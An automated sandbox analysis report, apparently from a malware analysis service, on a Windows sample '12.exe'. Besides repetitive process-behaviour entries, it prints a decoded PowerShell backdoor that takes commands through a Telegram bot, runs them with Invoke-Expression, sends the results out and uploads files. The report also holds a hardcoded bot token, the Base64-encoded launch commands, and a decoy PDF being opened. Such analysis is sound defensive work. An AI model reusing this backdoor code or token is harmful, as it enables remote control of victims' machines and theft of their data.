Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4669	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5175	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5295	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4401	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6908	Thread sleep count: 4669 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6904	Thread sleep count: 5175 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7100	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4928	Thread sleep count: 5295 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5016	Thread sleep count: 4401 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5076	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7316	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7032	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF767F0AAE0 FindFirstFileExW,

0_2_00007FF767F0AAE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000004.00000002.4214181744.000001D5D74C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQA
Source: svchost.exe, 00000006.00000002.3406674125.000001FD0B65A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3406190590.000001FD0602B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3406212110.000001FD06040000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF767EF7D74 GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF767EF7D74

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF767EF7D74 GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF767EF7D74

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF767F0BDD4 GetProcessHeap,

0_2_00007FF767F0BDD4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767EF87DC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF767EF87DC
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767EF8C90 SetUnhandledExceptionFilter,	0_2_00007FF767EF8C90
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767EFF45C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF767EFF45C
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767EF8AB0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF767EF8AB0

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\12.exe	Process created: Base64 decoded $Token = "7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0"$URL = "https://api.telegram.org/bot{0}" -f $Token$lastID = 123$sleepTime = 2$identifier = -join ((48..57) \| Get-Random -Count 5 \| % {[char]$_})function Invoke-BotCmd { param ( $command ) try { $result = Invoke-Expression($command) } catch { $result = $Error[0].Exception } $res = "[$identifier]%0D%0A" $result \| ForEach-Object {$res += [string]$_ + "%0D%0A"} if($res -eq ""){ $lastID = $updateid continue } if($res.Length -gt 4095){ for ($i = 0; $i -lt $res.Length / 4095; $i++) { $begin = $i * 4095 $end = $begin + 4094 if($end -gt $res.Length){ $end = $res.Length } $data = "chat_id=$from&text=" + $res[$begin..$end] $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null } } else { $data = "chat_id=$from&text=$res" $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null }}function Invoke-BotDownload { param ( $FilePath ) Add-type -AssemblyName System.Net.Http $FieldName = 'document' $httpClientHandler = New-Object System.Net.Http.HttpClientHandler $httpClient = New-Object System.Net.Http.Httpclient $httpClientHandler $FileStream = [System.IO.FileStream]::new($FilePath,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded $Token = "7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0"$URL = "https://api.telegram.org/bot{0}" -f $Token$lastID = 123$sleepTime = 2$identifier = -join ((48..57) \| Get-Random -Count 5 \| % {[char]$_})function Invoke-BotCmd { param ( $command ) try { $result = Invoke-Expression($command) } catch { $result = $Error[0].Exception } $res = "[$identifier]%0D%0A" $result \| ForEach-Object {$res += [string]$_ + "%0D%0A"} if($res -eq ""){ $lastID = $updateid continue } if($res.Length -gt 4095){ for ($i = 0; $i -lt $res.Length / 4095; $i++) { $begin = $i * 4095 $end = $begin + 4094 if($end -gt $res.Length){ $end = $res.Length } $data = "chat_id=$from&text=" + $res[$begin..$end] $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null } } else { $data = "chat_id=$from&text=$res" $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null }}function Invoke-BotDownload { param ( $FilePath ) Add-type -AssemblyName System.Net.Http $FieldName = 'document' $httpClientHandler = New-Object System.Net.Http.HttpClientHandler $httpClient = New-Object System.Net.Http.Httpclient $httpClientHandler $FileStream = [System.IO.FileStream]::new($FilePath,
Source: C:\Users\user\Desktop\12.exe	Process created: Base64 decoded $Token = "7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0"$URL = "https://api.telegram.org/bot{0}" -f $Token$lastID = 123$sleepTime = 2$identifier = -join ((48..57) \| Get-Random -Count 5 \| % {[char]$_})function Invoke-BotCmd { param ( $command ) try { $result = Invoke-Expression($command) } catch { $result = $Error[0].Exception } $res = "[$identifier]%0D%0A" $result \| ForEach-Object {$res += [string]$_ + "%0D%0A"} if($res -eq ""){ $lastID = $updateid continue } if($res.Length -gt 4095){ for ($i = 0; $i -lt $res.Length / 4095; $i++) { $begin = $i * 4095 $end = $begin + 4094 if($end -gt $res.Length){ $end = $res.Length } $data = "chat_id=$from&text=" + $res[$begin..$end] $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null } } else { $data = "chat_id=$from&text=$res" $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null }}function Invoke-BotDownload { param ( $FilePath ) Add-type -AssemblyName System.Net.Http $FieldName = 'document' $httpClientHandler = New-Object System.Net.Http.HttpClientHandler $httpClient = New-Object System.Net.Http.Httpclient $httpClientHandler $FileStream = [System.IO.FileStream]::new($FilePath,	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded $Token = "7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0"$URL = "https://api.telegram.org/bot{0}" -f $Token$lastID = 123$sleepTime = 2$identifier = -join ((48..57) \| Get-Random -Count 5 \| % {[char]$_})function Invoke-BotCmd { param ( $command ) try { $result = Invoke-Expression($command) } catch { $result = $Error[0].Exception } $res = "[$identifier]%0D%0A" $result \| ForEach-Object {$res += [string]$_ + "%0D%0A"} if($res -eq ""){ $lastID = $updateid continue } if($res.Length -gt 4095){ for ($i = 0; $i -lt $res.Length / 4095; $i++) { $begin = $i * 4095 $end = $begin + 4094 if($end -gt $res.Length){ $end = $res.Length } $data = "chat_id=$from&text=" + $res[$begin..$end] $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null } } else { $data = "chat_id=$from&text=$res" $URI = "$URL/sendMessage?$data" Invoke-WebRequest -Uri $URI > $null }}function Invoke-BotDownload { param ( $FilePath ) Add-type -AssemblyName System.Net.Http $FieldName = 'document' $httpClientHandler = New-Object System.Net.Http.HttpClientHandler $httpClient = New-Object System.Net.Http.Httpclient $httpClientHandler $FileStream = [System.IO.FileStream]::new($FilePath,	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\file.pdf"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ			Jump to behavior

Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "start-process 'c:\users\user\appdata\local\temp\/file.pdf'; powershell.exe -e 'jabuag8aawblag4aiaa9acaaiga3aduanqa0admamaa3adyanga5adoaqqbbaeuaxwbsag4auqbuafkauwbyahyadqbzageaswbsagsacaboahiadgayaeqadgbzahuaqwa3aegaaabjadaacwawaciadqakacqavqbsaewaiaa9acaaigboahqadabwahmaogavac8ayqbwagkalgb0aguabablagcacgbhag0algbvahiazwavagiabwb0ahsamab9aciaiaatagyaiaakafqabwbraguabganaaoajabsageacwb0aekaraagad0aiaaxadiamwanaaoajabzagwazqblahaavabpag0azqagad0aiaayaa0acgakagkazablag4adabpagyaaqblahiaiaa9acaalqbqag8aaqbuacaakaaoadqaoaauac4anqa3ackaiab8acaarwblahqalqbsageabgbkag8abqagac0aqwbvahuabgb0acaanqagahwaiaalacaaewbbagmaaabhahiaxqakaf8afqapaa0acganaaoazgb1ag4aywb0agkabwbuacaasqbuahyabwbragualqbcag8adabdag0azaagahsadqakacaaiaagacaacabhahiayqbtacaakaanaaoaiaagacaaiaagacaaiaagacqaywbvag0abqbhag4azaanaaoaiaagacaaiaapaa0acgagacaaiaagahqacgb5acaaewanaaoaiaagacaaiaagacaaiaagacqacgblahmadqbsahqaiaa9acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuacgajabjag8abqbtageabgbkackadqakacaaiaagacaafqanaaoaiaagacaaiabjageadabjaggaiab7aa0acgagacaaiaagacaaiaagacaajabyaguacwb1agwadaagad0aiaakaeuacgbyag8acgbbadaaxqauaeuaeabjaguacab0agkabwbuaa0acgagacaaiaagah0adqakacaaiaagacaajabyaguacwagad0aiaaiafsajabpagqazqbuahqaaqbmagkazqbyaf0ajqawaeqajqawaeeaiganaaoaiaagacaaiaakahiazqbzahuabab0acaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsajabyaguacwagacsapqagafsacwb0ahiaaqbuagcaxqakaf8aiaaracaaigaladaaraaladaaqqaiah0adqakaa0acgagacaaiaagagkazgaoacqacgblahmaiaataguacqagaciaigapahsadqakacaaiaagacaaiaagacaaiaakagwayqbzahqasqbeacaapqagacqadqbwagqayqb0aguaaqbkaa0acgagacaaiaagacaaiaagacaaywbvag4adabpag4adqblaa0acgagacaaiaagah0adqakacaaiaagacaaaqbmacgajabyaguacwauaewazqbuagcadaboacaalqbnahqaiaa0adaaoqa1ackaewanaaoaiaagacaaiaagacaaiaagagyabwbyacaakaakagkaiaa9acaamaa7acaajabpacaalqbsahqaiaakahiazqbzac4atablag4azwb0aggaiaavacaanaawadkanqa7acaajabpacsakwapacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiaguazwbpag4aiaa9acaajabpacaakgagadqamaa5aduadqakacaaiaagacaaiaagacaaiaagacaaiaagacqazqbuagqaiaa9acaajabiaguazwbpag4aiaaracaanaawadkanaanaaoaiaagacaaiaagacaaiaagacaaiaagacaaaqbmacgajablag4azaagac0azwb0acaajabyaguacwauaewazqbuagcadaboackaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaakaguabgbkacaapqagacqacgblahmalgbmaguabgbnahqaaaanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabkageadabhacaapqagaciaywboageadabfagkazaa9acqazgbyag8abqamahqazqb4ahqapqaiacaakwagacqacgblahmawwakagiazqbnagkabgauac4ajablag4azabdaa0acgagacaaiaagacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acqazabhahqayqaiaa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajabvafiasqagad4aiaakag4adqbsagwadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagah0aiablagwacwblacaaewanaaoaiaagacaaiaagacaaiaagacqazabhahqayqagad0aiaaiagmaaabhahqaxwbpagqapqakagyacgbvag0ajgb0aguaeab0ad0ajabyaguacwaiacaadqakacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabva
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -e jabuag8aawblag4aiaa9acaaiga3aduanqa0admamaa3adyanga5adoaqqbbaeuaxwbsag4auqbuafkauwbyahyadqbzageaswbsagsacaboahiadgayaeqadgbzahuaqwa3aegaaabjadaacwawaciadqakacqavqbsaewaiaa9acaaigboahqadabwahmaogavac8ayqbwagkalgb0aguabablagcacgbhag0algbvahiazwavagiabwb0ahsamab9aciaiaatagyaiaakafqabwbraguabganaaoajabsageacwb0aekaraagad0aiaaxadiamwanaaoajabzagwazqblahaavabpag0azqagad0aiaayaa0acgakagkazablag4adabpagyaaqblahiaiaa9acaalqbqag8aaqbuacaakaaoadqaoaauac4anqa3ackaiab8acaarwblahqalqbsageabgbkag8abqagac0aqwbvahuabgb0acaanqagahwaiaalacaaewbbagmaaabhahiaxqakaf8afqapaa0acganaaoazgb1ag4aywb0agkabwbuacaasqbuahyabwbragualqbcag8adabdag0azaagahsadqakacaaiaagacaacabhahiayqbtacaakaanaaoaiaagacaaiaagacaaiaagacqaywbvag0abqbhag4azaanaaoaiaagacaaiaapaa0acgagacaaiaagahqacgb5acaaewanaaoaiaagacaaiaagacaaiaagacqacgblahmadqbsahqaiaa9acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuacgajabjag8abqbtageabgbkackadqakacaaiaagacaafqanaaoaiaagacaaiabjageadabjaggaiab7aa0acgagacaaiaagacaaiaagacaajabyaguacwb1agwadaagad0aiaakaeuacgbyag8acgbbadaaxqauaeuaeabjagu